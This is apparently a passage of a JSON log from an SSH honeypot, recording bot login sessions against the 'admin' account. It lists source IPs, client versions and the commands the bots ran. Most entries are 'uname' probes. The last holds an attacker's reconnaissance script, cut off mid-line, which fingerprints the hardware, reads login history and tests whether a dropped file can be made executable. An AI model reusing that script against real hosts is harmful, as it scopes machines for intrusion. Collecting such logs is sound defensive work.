  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 878,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-22T12:32:35.442615+00:00",
  "ended_at": "2026-08-22T12:32:50.914446+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "c8acdf26-f155-49de-97a2-3d21c37d4bed",
  "name": "loyal-lofty-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.120",
  "src_port": 49506,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 247,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-22T12:26:35.381630+00:00",
  "ended_at": "2026-08-22T12:26:38.945498+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 239
 },
 {
  "id": "d0bb32fb-279c-4228-8ed5-3428ef538e26",
  "name": "pleasant-smoky-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.120",
  "src_port": 56338,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 505,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-22T12:25:48.790160+00:00",
  "ended_at": "2026-08-22T12:25:53.497476+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2d08d4a9-0a08-4a36-a637-a12a86c05ccc",
  "name": "blazing-marine-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.120",
  "src_port": 52574,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 321,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-22T12:23:57.394217+00:00",
  "ended_at": "2026-08-22T12:24:01.705075+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fd9dc7e8-0175-4408-93e0-1805d41cfa82",
  "name": "lanky-gilded-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.120",
  "src_port": 56062,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 243,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-22T12:22:44.363634+00:00",
  "ended_at": "2026-08-22T12:22:47.222645+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c20ae217-b28e-4e2e-a4a6-98f671e05c21",
  "name": "merry-lively-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.120",
  "src_port": 37584,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 231,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-22T12:22:29.386167+00:00",
  "ended_at": "2026-08-22T12:22:32.552372+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4c7a350e-84da-4ca4-8dc8-215d7c8f66f6",
  "name": "primal-sleepy-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.120",
  "src_port": 38036,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 324,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-22T12:18:58.618912+00:00",
  "ended_at": "2026-08-22T12:19:02.077281+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1072001a-6a12-4877-923c-4487157ac60a",
  "name": "indigo-fringed-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.120",
  "src_port": 44932,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 331,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-22T12:11:49.284181+00:00",
  "ended_at": "2026-08-22T12:11:52.001140+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "399a05ca-7871-485d-871a-fdd84015566a",
  "name": "painted-vivid-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.120",
  "src_port": 45524,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 257,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-22T12:11:31.267128+00:00",
  "ended_at": "2026-08-22T12:11:34.430866+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "05e31da2-65b4-437e-b88e-06c850252b47",
  "name": "humble-electric-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.120",
  "src_port": 44004,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 289,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-22T12:11:17.567581+00:00",
  "ended_at": "2026-08-22T12:11:23.265675+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "15b99f3b-a86d-4ba4-b6bd-2c539477eb3f",
  "name": "somber-placid-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.120",
  "src_port": 47770,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 376,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-22T12:08:39.846438+00:00",
  "ended_at": "2026-08-22T12:08:44.690768+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "39ee4253-77ce-47d4-bf4b-1ed67a8eb9e6",
  "name": "merry-chilly-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.231.178.70",
  "src_port": 52318,
  "username": "admin",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T12:08:38.227021+00:00",
  "ended_at": "2026-08-22T12:08:39.392776+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "719ff98c-9200-4587-98fc-bde430beb0a0",
  "name": "dapper-blunt-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.120",
  "src_port": 60896,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 335,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-22T12:03:48.876243+00:00",
  "ended_at": "2026-08-22T12:03:54.001006+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c4efa778-4a06-4518-aa6c-3c89bd137153",
  "name": "curious-gilded-kakapo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.231.178.70",
  "src_port": 56466,
  "username": "admin",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T11:58:50.163371+00:00",
  "ended_at": "2026-08-22T11:58:54.103325+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f8f8f469-d616-4b73-83c3-3fab6248d8cc",
  "name": "balmy-zealous-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.231.188.110",
  "src_port": 51492,
  "username": "admin",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T11:58:42.019533+00:00",
  "ended_at": "2026-08-22T11:59:40.910219+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6887f306-7b4f-467f-81d3-1016adfa4e83",
  "name": "brisk-smooth-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.120",
  "src_port": 40502,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 406,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-22T11:57:29.880223+00:00",
  "ended_at": "2026-08-22T11:57:32.918421+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0dd18941-6b67-4b36-9855-1b7af6dab9c2",
  "name": "diligent-deft-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.120",
  "src_port": 46396,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 271,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-22T11:56:42.917012+00:00",
  "ended_at": "2026-08-22T11:56:48.054075+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a624f355-653c-423e-8d02-e6196bb1cca6",
  "name": "candid-hearty-quoll",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.231.188.110",
  "src_port": 60836,
  "username": "admin",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T11:54:50.382277+00:00",
  "ended_at": "2026-08-22T11:55:05.808969+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "09d7d064-9eed-4138-a799-f2f07bc8af7e",
  "name": "cosmic-eager-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.231.188.110",
  "src_port": 49210,
  "username": "admin",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T11:54:46.614843+00:00",
  "ended_at": "2026-08-22T11:54:48.211792+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dec86ee5-1bd6-49ec-b004-3f3e98bd2dbb",
  "name": "hearty-frank-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.231.178.70",
  "src_port": 45612,
  "username": "admin",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T11:51:53.981888+00:00",
  "ended_at": "2026-08-22T11:51:56.112265+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "39935470-38b1-4b70-84f2-078848cf82bc",
  "name": "obsidian-ashen-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 36684,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T11:47:12.651808+00:00",
  "ended_at": "2026-08-22T11:47:14.312066+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eafbd14a-0636-4d2c-ad5f-c746488d40e0",
  "name": "northern-somber-wallaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.231.178.70",
  "src_port": 60622,
  "username": "admin",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T11:39:08.227170+00:00",
  "ended_at": "2026-08-22T11:39:10.762855+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "27a3551c-afac-43c3-bc19-1124a20fb110",
  "name": "distant-supple-porcupine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "116.110.152.55",
  "src_port": 56720,
  "username": "admin",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T11:16:06.986411+00:00",
  "ended_at": "2026-08-22T11:16:09.604024+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33c5ffc0-eb62-4a6e-bcf9-688e235e44a5",
  "name": "hidden-cunning-redstart",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 54640,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T10:44:39.505890+00:00",
  "ended_at": "2026-08-22T10:44:39.922015+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5afd1ce6-af97-436a-a637-81a6a88bf77f",
  "name": "jolly-humble-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.6",
  "src_port": 58288,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 183,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-22T10:16:52.080259+00:00",
  "ended_at": "2026-08-22T10:16:55.358228+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "e678c5d1-a27c-4fca-9fb3-6c2982c70b78",
  "name": "vigilant-tidal-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 41738,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T09:48:04.471528+00:00",
  "ended_at": "2026-08-22T09:48:05.988212+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c8c4d9f3-e714-4b88-92b1-28251cd06456",
  "name": "bitter-thrifty-redshank",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 42324,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T08:41:57.371682+00:00",
  "ended_at": "2026-08-22T08:41:57.857966+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "842b06e6-3f05-4926-925d-3c434bb486cb",
  "name": "dappled-jolly-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 52120,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T07:42:43.675884+00:00",
  "ended_at": "2026-08-22T07:42:47.167728+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c94a858-7691-43b2-a60f-9b3857b56d45",
  "name": "mighty-feral-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 38890,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T07:42:15.916468+00:00",
  "ended_at": "2026-08-22T07:42:16.607046+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fc34d10d-30a8-4c80-bdec-c6fdd4c74332",
  "name": "solar-murky-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.211.67.46",
  "src_port": 11012,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T07:35:17.369310+00:00",
  "ended_at": "2026-08-22T07:35:18.663993+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "010dc2b7-093f-4f0a-8035-c53e67a62c90",
  "name": "fringed-amiable-bullfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 44580,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T06:29:44.154164+00:00",
  "ended_at": "2026-08-22T06:29:44.731140+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "74413763-b9f7-4842-a942-a8164c76e7f5",
  "name": "forlorn-weathered-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 55654,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T05:37:34.623898+00:00",
  "ended_at": "2026-08-22T05:37:35.540159+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "df2e9d44-6577-4e53-bab3-e1f5854d2ed3",
  "name": "umber-graceful-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 58764,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T04:30:59.494667+00:00",
  "ended_at": "2026-08-22T04:31:00.542010+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d50c6001-6ccb-4023-b935-fa77eaa05c54",
  "name": "woven-grassy-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 57432,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T03:22:05.695385+00:00",
  "ended_at": "2026-08-22T03:22:06.044934+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f3d8d963-ee9b-438f-89f2-8b53f2e56245",
  "name": "woven-drifting-jay",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 48046,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T02:26:04.581306+00:00",
  "ended_at": "2026-08-22T02:26:05.607668+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b27ad585-4c8f-46fa-befe-ace4eef23473",
  "name": "stormy-amber-quoll",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 43076,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T01:20:24.892579+00:00",
  "ended_at": "2026-08-22T01:20:26.543253+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fec8bc2b-9e94-41b7-b964-867bea909cc8",
  "name": "northern-upland-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "138.124.33.255",
  "src_port": 34700,
  "username": "admin",
  "client_version": "SSH-2.0-libssh2_1.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T00:21:20.921336+00:00",
  "ended_at": "2026-08-22T00:21:22.200357+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "efdc1343-d926-4be9-80c5-1ebe3cd84632",
  "name": "plush-bold-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 48224,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T00:17:08.765630+00:00",
  "ended_at": "2026-08-22T00:17:09.291263+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eaeb5069-7181-49e4-b7b9-51fa1aaed230",
  "name": "honest-pleasant-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 36622,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T23:25:38.403754+00:00",
  "ended_at": "2026-08-21T23:25:39.338797+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b4ec1524-cd93-4e09-bf25-8a35278b043f",
  "name": "quiet-thrifty-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 52770,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T22:16:19.517040+00:00",
  "ended_at": "2026-08-21T22:16:19.927468+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "185cc78d-be0c-4ba5-b49a-29b27436dd81",
  "name": "crimson-hazel-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "49.207.247.60",
  "src_port": 7616,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T22:09:55.166915+00:00",
  "ended_at": "2026-08-21T22:09:56.267331+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f74e32ac-9de5-4fc1-bde5-a3cc7c78d1c6",
  "name": "downy-lucid-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 45094,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T21:17:58.120320+00:00",
  "ended_at": "2026-08-21T21:17:59.930061+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c58fefa7-ac6d-4767-b65b-f355db52976b",
  "name": "gleaming-sleepy-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 56664,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T20:13:00.752785+00:00",
  "ended_at": "2026-08-21T20:13:02.169640+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9818dc7e-b1f4-4801-9b09-b24498d67b78",
  "name": "peaty-gentle-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 57542,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T19:10:35.301590+00:00",
  "ended_at": "2026-08-21T19:10:36.185309+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "35cb5999-f385-439a-a04d-5fb8b0a5851a",
  "name": "ginger-marine-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 41542,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T18:02:52.241139+00:00",
  "ended_at": "2026-08-21T18:02:52.696260+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2e228fde-f504-4492-8d15-5827b472682f",
  "name": "freckled-pleasant-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.55",
  "src_port": 60862,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf 